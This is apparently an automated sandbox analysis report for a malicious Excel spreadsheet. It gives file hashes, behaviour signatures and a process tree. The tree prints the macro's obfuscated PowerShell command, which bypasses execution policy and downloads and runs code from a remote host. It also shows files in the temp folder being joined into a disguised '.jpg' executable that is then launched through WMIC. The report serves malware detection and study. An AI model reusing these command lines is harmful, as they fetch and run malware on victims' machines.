Analysis
- max time kernel
136s - max time network
129s - platform
windows10_x64 - resource
win10v20201028 - submitted
17/12/2020, 09:10
Static task
static1
Behavioral task
behavioral1
Sample
PL-NewOrder388374DBA.xls
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
PL-NewOrder388374DBA.xls
Resource
win10v20201028
windows10_x64
0 signatures
0 seconds
General
- Target PL-NewOrder388374DBA.xls
- Size 71KB
- Sample201217-lsff4v91qa
- SHA256 18030a9ea4cf60ea858db8b302cdd94962069f232be6212787ad1ddca0bbbe54
- MD5 9ff9db49a165d7fae4bfeefbe4cf985d
- SHA1 5bb9ead40881ab04d740573bbb98b1dc2f9c2458
- SHA512 e4eac01209cda22ad72df71e1e8e5e7b6c41e907198b104e905cea1f93a2dd285fe1c669e936df7d10fe445afac84dba2745573eecd8fcca37c1a401d3e42400
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3352 1028 cMd.eXE 68 - Blocklisted process makes network request 1 IoCs
flow pid Process 15 2792 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 196 Test3.jpg - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1028 EXCEL.EXE - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 2792 powershell.exe 2792 powershell.exe 2792 powershell.exe 2792 powershell.exe 2792 powershell.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeDebugPrivilege 2792 powershell.exe Token: SeIncreaseQuotaPrivilege 2208 WMIC.exe Token: SeSecurityPrivilege 2208 WMIC.exe Token: SeTakeOwnershipPrivilege 2208 WMIC.exe Token: SeLoadDriverPrivilege 2208 WMIC.exe Token: SeSystemProfilePrivilege 2208 WMIC.exe Token: SeSystemtimePrivilege 2208 WMIC.exe Token: SeProfSingleProcessPrivilege 2208 WMIC.exe Token: SeIncBasePriorityPrivilege 2208 WMIC.exe Token: SeCreatePagefilePrivilege 2208 WMIC.exe Token: SeBackupPrivilege 2208 WMIC.exe Token: SeRestorePrivilege 2208 WMIC.exe Token: SeShutdownPrivilege 2208 WMIC.exe Token: SeDebugPrivilege 2208 WMIC.exe Token: SeSystemEnvironmentPrivilege 2208 WMIC.exe Token: SeRemoteShutdownPrivilege 2208 WMIC.exe Token: SeUndockPrivilege 2208 WMIC.exe Token: SeManageVolumePrivilege 2208 WMIC.exe Token: 33 2208 WMIC.exe Token: 34 2208 WMIC.exe Token: 35 2208 WMIC.exe Token: 36 2208 WMIC.exe Token: SeIncreaseQuotaPrivilege 2208 WMIC.exe Token: SeSecurityPrivilege 2208 WMIC.exe Token: SeTakeOwnershipPrivilege 2208 WMIC.exe Token: SeLoadDriverPrivilege 2208 WMIC.exe Token: SeSystemProfilePrivilege 2208 WMIC.exe Token: SeSystemtimePrivilege 2208 WMIC.exe Token: SeProfSingleProcessPrivilege 2208 WMIC.exe Token: SeIncBasePriorityPrivilege 2208 WMIC.exe Token: SeCreatePagefilePrivilege 2208 WMIC.exe Token: SeBackupPrivilege 2208 WMIC.exe Token: SeRestorePrivilege 2208 WMIC.exe Token: SeShutdownPrivilege 2208 WMIC.exe Token: SeDebugPrivilege 2208 WMIC.exe Token: SeSystemEnvironmentPrivilege 2208 WMIC.exe Token: SeRemoteShutdownPrivilege 2208 WMIC.exe Token: SeUndockPrivilege 2208 WMIC.exe Token: SeManageVolumePrivilege 2208 WMIC.exe Token: 33 2208 WMIC.exe Token: 34 2208 WMIC.exe Token: 35 2208 WMIC.exe Token: 36 2208 WMIC.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1028 EXCEL.EXE 1028 EXCEL.EXE - Suspicious use of SetWindowsHookEx 15 IoCs
pid Process 1028 EXCEL.EXE 1028 EXCEL.EXE 1028 EXCEL.EXE 1028 EXCEL.EXE 1028 EXCEL.EXE 1028 EXCEL.EXE 1028 EXCEL.EXE 1028 EXCEL.EXE 1028 EXCEL.EXE 1028 EXCEL.EXE 1028 EXCEL.EXE 1028 EXCEL.EXE 1028 EXCEL.EXE 1028 EXCEL.EXE 196 Test3.jpg - Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 1028 wrote to memory of 3352 1028 EXCEL.EXE 75 PID 1028 wrote to memory of 3352 1028 EXCEL.EXE 75 PID 3352 wrote to memory of 2792 3352 cMd.eXE 77 PID 3352 wrote to memory of 2792 3352 cMd.eXE 77 PID 2792 wrote to memory of 2516 2792 powershell.exe 82 PID 2792 wrote to memory of 2516 2792 powershell.exe 82 PID 2516 wrote to memory of 196 2516 csc.exe 83 PID 2516 wrote to memory of 196 2516 csc.exe 83 PID 2792 wrote to memory of 2368 2792 powershell.exe 84 PID 2792 wrote to memory of 2368 2792 powershell.exe 84 PID 2792 wrote to memory of 1932 2792 powershell.exe 85 PID 2792 wrote to memory of 1932 2792 powershell.exe 85 PID 1932 wrote to memory of 2208 1932 cmd.exe 86 PID 1932 wrote to memory of 2208 1932 cmd.exe 86
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\PL-NewOrder388374DBA.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1028 -
C:\Windows\SYSTEM32\cMd.eXEcMd.eXE /c pOWErsHeLL -EX bYpaSs -NoP -W 1 IeX( CuRl ('http://' + 'cho' + 'whouse.net/Pr' + 'o.' + 'jpg' ))2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3352 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepOWErsHeLL -EX bYpaSs -NoP -W 1 IeX( CuRl ('http://' + 'cho' + 'whouse.net/Pr' + 'o.' + 'jpg' ))3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2792 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\t2gf3vvc\t2gf3vvc.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:2516 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES668F.tmp" "c:\Users\Admin\AppData\Local\Temp\t2gf3vvc\CSC207FB52B9F274486A489FC91F7674474.TMP"5⤵PID:196
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cOPy /B %TEMP%\Test1.txt + %TEMP%\Test2.gif %TEMP%\Test3.jpg4⤵PID:2368
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c WMic ProceSs CalL crEATE %TEMP%\Test3.jpg4⤵
- Suspicious use of WriteProcessMemory
PID:1932 -
C:\Windows\System32\Wbem\WMIC.exeWMic ProceSs CalL crEATE C:\Users\Admin\AppData\Local\Temp\Test3.jpg5⤵
- Suspicious use of AdjustPrivilegeToken
PID:2208
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C:\Users\Admin\AppData\Local\Temp\Test3.jpgC:\Users\Admin\AppData\Local\Temp\Test3.jpg1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:196